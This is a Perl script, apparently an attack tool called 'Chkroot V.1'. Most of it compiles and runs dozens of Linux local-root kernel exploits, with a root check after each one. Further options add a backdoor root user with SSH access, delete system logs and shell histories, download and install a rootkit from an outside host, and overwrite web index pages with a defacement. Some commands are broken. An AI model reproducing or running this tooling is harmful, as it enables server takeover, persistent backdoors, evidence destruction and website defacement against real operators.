system("./2.6.17");
system("id;whoami");
system("gcc -o 2.6.18-2009 2.6.18-2009.c");
system("./2.6.18-2009");
system("id;whoami");
system("gcc -o 2.6.23-2009 2.6.23-2009.c");
system("./2.6.23-2009");
system("id;whoami");
system("gcc -o 2.6.28-2009 2.6.28-2009.c");
system("./2.6.29.sh");
system("id;whoami");
system("./2-2009");
system("id;whoami");
system("./2009");
system("id;whoami");
system("./2009.6.18-164");
system("id;whoami");
system("./2009.6.24");
system("id;whoami");
system("./2009.6.31_2009");
system("id;whoami");
system("./dene");
system("id;whoami");
system("gcc -o exploit exploit.c");
system("./exploit");
system("id;whoami");
system("gcc -o exploit-pulseaudio exploit-pulseaudio.c");
system("./exploit-pulseaudio");
system("id;whoami");
system("./iskorpitx");
system("id;whoami");
system("./keris");
system("id;whoami");
system("./gcc -o local-root-exploit-gayros local-root-exploit-gayros.c");
system("./local-root-exploit-gayros");
system("id;whoami");
system("./r00t");
system("id;whoami");
system("gcc -o rad-e rad-e.c");
system("./rad-e");
system("id;whoami");
system("./ror");
system("id;whoami");
system("./run");
system("id;whoami");
system("./runcon-mmap_zero");
system("id;whoami");
system("./sesearch-mmap_zero");
chdir("2010");
system("chmod 777 2.6.2-2010.c");
system("chmod 777 2.6.9");
system("chmod 777 2.6.13-2010.c");
system("chmod 777 2.6.18 2010");
system("chmod 777 2.6.18 2010 x86_64");
system("chmod 777 2.6.18-128");
system("chmod 777 2.6.18-164-2010");
system("chmod 777 2.6.18-194.1-2010");
system("chmod 777 2.6.31 Localr00t Priv8 2010.c");
system("chmod 777 2.6.31-2010.c");
system("chmod 777 2.6.32.c");
system("chmod 777 2.6.xx");
system("chmod 777 2010");
system("chmod 777 2010-1");
system("chmod 777 abi.c");
system("chmod 777 ia32syscall");
system("chmod 777 local2627");
system("chmod 777 MOTD.c");
system("chmod 777 priv8-2.6.18-164-2010");
system("chmod 777 x86_84.c");
system("gcc -o 2.6.2-2010 2.6.2-2010.c");
system("./2.6.2-2010");
system("id;whoami");
system("./2.6.9");
system("id;whoami");
system("gcc -o 2.6.13-2010 2.6.13-2010.c");
system("./2.6.13-2010.c");
system("id;whoami");
system("./2.6.18 2010");
system("id;whoami");
system("./2.6.18 2010 x86_64");
system("id;whoami");
system("./2.6.18-128");
system("id;whoami");
system("./2.6.18-164-2010");
system("id;whoami");
system("./2.6.18-194.1-2010");
system("id;whoami");
system("gcc -o 2.6.31 Localr00t Priv8 2010 2.6.31 Localr00t Priv8 2010.c");
system("./2.6.31 Localr00t Priv8 2010.c");
system("id;whoami");
system("gcc -o 2.6.31-2010 2.6.31-2010.c");
system("./2.6.31-2010");
system("id;whoami");
system("gcc -o 2.6.32 2.6.32.c");
system("./2.6.32");
system("id;whoami");
system("./2.6.xx");
system("id;whoami");
system("./2010");
system("id;whoami");
system("./2010-1");
system("id;whoami");
system("gcc -o abi abi.c");
system("./abi");
system("id;whoami");
system("./ia32syscall");
system("id;whoami");
system("./local2627");
system("id;whoami");
system("gcc -o MOTD MOTD.c");
system("./MOTD.c");
system("id;whoami");
system("./priv8-2.6.18-164-2010");
system("id;whoami");
system("./gcc -o x86_84 x86_84.c");
system("./x86_84.c");
system("id;whoami");
chdir("2011");
system("chmod 777 2.6.18.c");
system("chmod 777 2.6.18_2011.c");
system("chmod 777 2.6.18-6-x86-2011");
system("chmod 777 2.6.18-274-2011");
system("chmod 777 2.6.28-2011");
system("chmod 777 2.6.33-2011");
system("chmod 777 2.6.34-2011");
system("chmod 777 2.6.37.c");
system("chmod 777 2.6.37-rc2.c");
system("chmod 777 2.6.43.2.c");
system("chmod 777 2-6-32-46-2011");
system("chmod 777 3.0.c");
system("chmod 777 6.4-2011");
system("chmod 777 2.6.18-6-x86-2011");
system("chmod 777 2.6.18-274-2011");
system("chmod 777 2.6.28-2011");
system("chmod 777 2.6.33-2011");
system("chmod 777 2.6.34-2011Exploit1");
system("chmod 777 2.6.34-2011Exploit2");
system("gcc -o 2.6.18 2.6.18.c");
system("./2.6.18.c");
system("id;whoami");
system("gcc -o 2.6.18_2011 2.6.18_2011.c");
system("./2.6.18_2011");
system("id;whoami");
system("./2.6.18-6-x86-2011");
system("id;whoami");
system("./2.6.18-274-2011");
system("id;whoami");
system("./2.6.28-2011");
system("id;whoami");
system("./2.6.33-2011");
system("id;whoami");
system("./2.6.34-2011");
system("id;whoami");
system("gcc -o 2.6.37 2.6.37.c");
system("./2.6.37.c");
system("id;whoami");
system("gcc -o 2.6.37-rc2 2.6.37-rc2.c");
system("./2.6.37-rc2.c");
system("id;whoami");
system("gcc -o 2.6.43.2 2.6.43.2.c");
system("./2.6.43.2.c");
system("id;whoami");
system("./2-6-32-46-2011");
system("id;whoami");
system("gcc -o 3.0 3.0.c");
system("./3.0.c");
system("id;whoami");
system("./6.4-2011");
system("id;whoami");
system("./z1d-2011");
system("id;whoami");
system("chmod 777 2.6.18-6-x86-2011");
system("id;whoami");
system("./2.6.18-274-2011");
system("id;whoami");
system("./2.6.28-2011");
system("id;whoami");
system("./2.6.33-2011");
system("id;whoami");
system("./2.6.34-2011Exploit1");
system("id;whoami");
system("./2.6.34-2011Exploit2");
system("id;whoami");
chdir("2012");
system("chmod 777 2.6.17_2.6.24");
system("chmod 777 2.6.18.1");
system("chmod 777 2.6.18.2012.c");
system("chmod 777 2.6.18-2.6.24-2.6.20-2.6.22-2.6.21.c");
system("chmod 777 2.6.18-194");
system("chmod 777 2.6.18-374.12.1.el5-2012");
system("chmod 777 2.6.33");
system("chmod 777 2.6.37");
system("chmod 777 2.6.37-rc2");
system("chmod 777 2-1");
system("chmod 777 2-6-37");
system("chmod 777 3");
system("chmod 777 4");
system("chmod 777 5");
system("chmod 777 7");
system("chmod 777 7-2");
system("chmod 777 7x");
system("chmod 777 8");
system("chmod 777 9");
system("chmod 777 10");
system("chmod 777 11");
system("chmod 777 13");
system("chmod 777 14");
system("chmod 777 16");
system("chmod 777 16-1");
system("chmod 777 18");
system("chmod 777 18-5");
system("chmod 777 31");
system("chmod 777 36-rc1");
system("chmod 777 44");
system("chmod 777 77");
system("chmod 777 89");
system("chmod 777 99");
system("chmod 777 0977");
system("chmod 777 15150");
system("chmod 777 15200");
system("chmod 777 a.boot");
system("chmod 777 a.out");
system("chmod 777 acid");
system("chmod 777 exp1");
system("chmod 777 exploit");
system("chmod 777 full-nelson");
system("chmod 777 gayros");
system("chmod 777 hudo.c");
system("chmod 777 krad313");
system("chmod 777 local-root-exploit-gayros");
system("chmod 777 pwnkernel");
system("chmod 777 root1");
system("chmod 777 runx");
system("chmod 777 sec.out");
system("chmod 777 tivoli");
system("chmod 777 tivoli");
system("chmod 777 ubuntu");
system("chmod 777 vmsplice-local-root-exploit");
system("./2.6.17_2.6.24");
system("id;whoami");
system("./2.6.18.1");
system("id;whoami");
system("gcc -o 2.6.18-2.6.24-2.6.20-2.6.22-2.6.21 2.6.18-2.6.24-2.6.20-2.6.22-2.6.21.c");
system("./2.6.18-2.6.24-2.6.20-2.6.22-2.6.21");
system("gcc -o 2.6.18.2012 2.6.18.2012.c");
system("./2.6.18.2012");
system("id;whoami");
system("./2.6.18-194");
system("id;whoami");
system("./2.6.18-374.12.1.el5-2012");
system("id;whoami");
system("./2.6.33");
system("id;whoami");
system("./2.6.37");
system("id;whoami");
system("./2.6.37-rc2");
system("id;whoami");
system("./2-1");
system("id;whoami");
system("./2-6-37");
system("id;whoami");
system("./3");
system("id;whoami");
system("./4");
system("id;whoami");
system("./5");
system("id;whoami");
system("./7");
system("id;whoami");
system("./7-2");
system("id;whoami");
system("./7x");
system("id;whoami");
system("./8");
system("id;whoami");
system("./9");
system("id;whoami");
system("./10");
system("id;whoami");
system("./11");
system("id;whoami");
system("./13x");
system("id;whoami");
system("./14");
system("id;whoami");
system("./16");
system("id;whoami");
system("./16-1");
system("id;whoami");
system("./18");
system("id;whoami");
system("./18-5");
system("id;whoami");
system("./31");
system("id;whoami");
system("./36-rc1");
system("id;whoami");
system("./44");
system("id;whoami");
system("./77");
system("id;whoami");
system("./89");
system("id;whoami");
system("./99");
system("id;whoami");
system("./0977");
system("id;whoami");
system("./15150");
system("id;whoami");
system("./15200");
system("id;whoami");
system("./a.boot");
system("id;whoami");
system("./a.out");
system("id;whoami");
system("./acid");
system("id;whoami");
system("./exp1");
system("id;whoami");
system("./exploit");
system("id;whoami");
system("./full-nelson");
system("id;whoami");
system("./gayros");
system("id;whoami");
system("gcc -o hudo hudo.c");
system("./hudo");
system("id;whoami");
system("./krad313");
system("id;whoami");
system("./local-root-exploit-gayros");
system("id;whoami");
system("./pwnkernel");
system("id;whoami");
system("./root1");
system("id;whoami");
system("./runx");
system("id;whoami");
system("./sec.out");
system("id;whoami");
system("./tivoli");
system("id;whoami");
system("./trolled");
system("id;whoami");
system("./ubuntu");
system("id;whoami");
system("./vmsplice-local-root-exploit");
chdir("2013");
system("chmod 777 2.6.17.4_2013");
system("chmod 777 2.6.32-2013");
system("chmod 777 a.boot");
system("chmod 777 2.6.37-3+-2013.c");
system("chmod 777 3.6,3.8.9-2013.c");
system("chmod 777 a2.out");
system("chmod 777 a.out");
system("chmod 777 sec.out");
system("chmod 777 trolled");
system("./2.6.17.4_2013");
system("id;whoami");
system("./2.6.32-2013");
system("id;whoami");
system("./a.boot");
system("id;whoami");
system("./a.out");
system("id;whoami");
system("./sec.out");
system("id;whoami");
system("gcc -o 2.6.37-3+-2013 2.6.37-3+-2013.c");
system("./2.6.37-3+-2013.c");
system("id;whoami");
system("gcc -o 3.6,3.8.9-2013 3.6,3.8.9-2013.c");
system("./3.6,3.8.9-2013.c");
system("id;whoami");
system("./a2.out");
system("id;whoami");
system("./trolled");
system("id;whoami");
system("./trolled");
chdir("other");
chdir("2014");
system("chmod 777 1-2");
system("chmod 777 2.6.18.371 2014.c");
system("chmod 777 3.4+.c");
system("chmod 777 a.boot");
system("chmod 777 c");
system("chmod 777 local.c");
system("./1-2");
system("id;whoami");
system("gcc -o 2.6.18.371 2014 2.6.18.371 2014.c");
system("./2.6.18.371 2014");
system("id;whoami");
system("gcc -o 3.4 3.4+.c");
system("./3.4");
system("id;whoami");
system("./a.boot");
system("id;whoami");
system("./c");
system("id;whoami");
system("gcc -o local local.c");
system("./local");
system("id;whoami");
print "#####################################\n";
print "# Chkroot V.1 #\n";
print "# Contact YM : kill.ambu #\n";
print "#####################################\n";
print "\nPlease Wait....";
print "\n./Done";
}
if ($ARGV[0] eq "-add")
{
print "Add User Root\n";
print "user : kill\n";
system "adduser -g 0 kill -G wheel,sys,bin,daemon,adm,disk -d /sf7 -s /bin/sh";
system "passwd chk01";
print "pass is : chk01\n";
print "Activate SSH Account..\n";
system("/etc/rc.d/init.d/sshd start");
print "./Done\n";
}
if ($ARGV[0] eq "-rm")
{
system("rm -rf /tmp/logs");
system("rm -rf /root/.ksh_history");
system("rm -rf /root/.bash_history");
system("rm -rf /root/.bash_logout");
system("rm -rf /usr/local/apache/logs");
system("rm -rf /usr/local/apache/log");
system("rm -rf /var/apache/logs");
system("rm -rf /var/apache/log");
system("rm -rf /var/run/utmp");
system("rm -rf /var/logs");
system("rm -rf /var/log");
system("rm -rf /var/adm");
system("rm -rf /etc/wtmp");
system("rm -rf /etc/utmp");
}
if ($ARGV[0] eq "-d")
{
system("rm -rf chk");
}
if ($ARGV[0] eq "-rootkit")
{
system("wget targetinjektor.mywapblog.com/files/chk.txt -O xtar.tar.gz");
system("tar -xzvf xtar.tar.gz;rm -rf xtar.tar.gz");
chdir(".rootkit");
system("chmod 4755 setup");
system("./setup chk 5555");
}
if ($ARGV[0] eq "-c")
{
if($ARGV[1]) {
system "find / -name \"index*\" -exec cp $ARGV[1] {} \\;";
system "find / -name \"main*\" -exec cp $ARGV[1] {} \\;";
system "find / -name \"home*\" -exec cp $ARGV[1] {} \\;";
system "find / -name \"default*\" -exec cp $ARGV[1] {} \\;";
} else { print "path of deface...\n"; exit; }
}
if ($ARGV[0] eq "-info")
{
system("wget ");
system("rm -rf chk");
}